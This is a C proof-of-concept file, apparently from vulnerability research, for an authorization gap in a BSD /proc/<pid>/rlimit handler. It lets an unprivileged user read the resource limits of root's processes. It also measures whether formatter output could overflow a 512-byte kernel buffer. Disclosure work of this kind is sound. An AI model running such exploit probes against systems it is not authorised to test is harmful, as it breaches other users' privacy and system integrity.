DF-3259 / rlimit_authz.c
/* * DF-3259 PoC — /proc/<pid>/rlimit has no per-op authorization. * Plus: empirical DF-0935 boundary check (max formatter output vs psbuf[512]). * * procfs_dorlimit() (sys/vfs/procfs/procfs_rlimit.c:55-110) performs no * CHECKIO()/p_trespass() gate — unlike every sibling (regs/fpregs/dbregs/ * ctl/mem). With security.ps_showallprocs=1 (default) any local user can * read the rlimits of ANY process, including root's. * * Build: cc -O -o rlimit_authz rlimit_authz.c * Run: ./rlimit_authz <pid-of-root-process> */ #include <sys/resource.h> #include <err.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static const char *ident[RLIM_NLIMITS] = { "cpu", "fsize", "data", "stack", "core", "rss", "memlock", "nproc", "nofile", "sbsize", "vmem", "posixlock", }; static int ndigits(unsigned long long v) { int n = 1; while (v >= 10) { v /= 10; n++; } return (n); } int main(int argc, char **argv) { struct rlimit rl; char buf[4096]; ssize_t n; int fd, i, pid; /* ---- part 1: read a root process's rlimits as this unpriv user ---- */ pid = (argc > 1) ? atoi(argv[1]) : 1; snprintf(buf, sizeof(buf), "/proc/%d/rlimit", pid); fd = open(buf, O_RDONLY); if (fd < 0) err(1, "open %s", buf); n = read(fd, buf, sizeof(buf) - 1); close(fd); if (n < 0) err(1, "read"); buf[n] = 0; printf("uid=%d read %s: %zd bytes\n", getuid(), argv[0], n); printf("---- /proc/%d/rlimit (owner uid should be 0) ----\n", pid); printf("%s", buf); printf("---- end (%zd bytes) ----\n", n); /* ---- part 2: DF-0935 empirical maximum formatter length ---- */ /* * Push every limit as high as an unprivileged process can: * lowering rlim_max below the current max needs no privilege * (kern_plimit.c:294-303); kernel caps then clamp * data/stack/nofile/nproc/posixlocks (kern_plimit.c:316-379). */ size_t len = 0; printf("\nrlimit state after unpriv maximization:\n"); for (i = 0; i < RLIM_NLIMITS; i++) { if (getrlimit(i, &rl) != 0) { warn("getrlimit %d", i); continue; } struct rlimit nl; nl.rlim_max = (rl.rlim_max == RLIM_INFINITY) ? 9223372036854775806ULL : rl.rlim_max; nl.rlim_cur = nl.rlim_max; if (setrlimit(i, &nl) != 0) warn("setrlimit %d", i); getrlimit(i, &rl); printf(" %-10s cur=%llu max=%llu\n", ident[i], (unsigned long long)rl.rlim_cur, (unsigned long long)rl.rlim_max); len += strlen(ident[i]) + 1; len += (rl.rlim_cur == RLIM_INFINITY) ? 2 : ndigits((unsigned long long)rl.rlim_cur); len += 1; len += (rl.rlim_max == RLIM_INFINITY) ? 2 : ndigits((unsigned long long)rl.rlim_max); len += 1; } printf("predicted max formatter output: %zu bytes (psbuf=512, DF-0935 overflow iff >512)\n", len); /* actually read our own maximized rlimit back */ fd = open("/proc/self/rlimit", O_RDONLY); if (fd >= 0) { n = read(fd, buf, sizeof(buf) - 1); close(fd); if (n > 0) { buf[n] = 0; printf("actual /proc/self/rlimit length: %zd bytes\n", n); } } return (0); } |